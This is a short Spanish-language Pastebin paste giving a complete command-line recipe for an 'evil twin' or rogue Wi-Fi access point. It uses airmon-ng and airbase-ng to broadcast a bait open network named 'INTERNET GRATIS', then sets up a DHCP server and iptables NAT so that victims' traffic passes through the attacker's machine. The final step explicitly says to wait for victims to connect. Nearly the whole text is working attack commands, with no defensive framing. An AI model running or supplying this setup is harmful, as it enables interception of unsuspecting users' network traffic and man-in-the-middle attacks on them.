fplanzer

fake AP

May 19th, 2018
185
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.37 KB | None | 0 0
  1. 5. AP Falso
  2.  
  3. airmon-ng
  4. airbase-ng
  5. dhcpd3
  6. nat (iptables) y la tarjeta eth0 conectada a internet
  7.  
  8.  
  9. a) Instalar un servidor DHCP:
  10. apt-get install dhcp3-server -y
  11. mv /etc/dhcp3/dhcpd.conf /etc/dhcp3/dhcpd.conf.backup
  12. vim /etc/dhcp3/dhcpd.conf
  13. ----------------------
  14.  
  15. ddns-update-style ad-hoc;
  16. default-lease-time 600;
  17. subnet 192.168.2.0 netmask 255.255.255.0 {
  18. option subnet-mask 255.255.255.0;
  19. option routers 192.168.2.1;
  20. option domain-name-servers 8.8.8.8;
  21. range 192.168.2.51 192.168.2.100;
  22. }
  23.  
  24. -----------------------
  25. b) poner la tarjeta en modo monitor
  26. airmon-ng wlan0
  27.  
  28. c) iniciar un AP falso:
  29. airbase-ng --essid "INTERNET GRATIS" -c 6 mon0
  30.  
  31. d) Configurar la interfaz at0 (AP falso) y agregar una ruta local a la red
  32. ifconfig at0 up
  33. ifconfig at0 192.168.2.1/24
  34. route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.2.1
  35.  
  36. e) Iniciar el servidor DHCP falso
  37.  
  38. dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcp3-server/dhcpd.pid at0
  39. /etc/init.d/dhcpd3-server start
  40.  
  41. f) "NATEAR" el tráfico (asumiendo que la interfaz eth0 está conectada)
  42. iptables --flush
  43. iptables --table nat --flush
  44. iptables --delete-chain
  45. iptables --table nat --delete-chain
  46. iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
  47. iptables --append FORWARD --in-interface at0 -j ACCEPT
  48. echo 1 > /proc/sys/net/ipv4/ip_forward
  49.  
  50. g) Esperar que las víctimas se conecten
Add Comment
Please, Sign In to add comment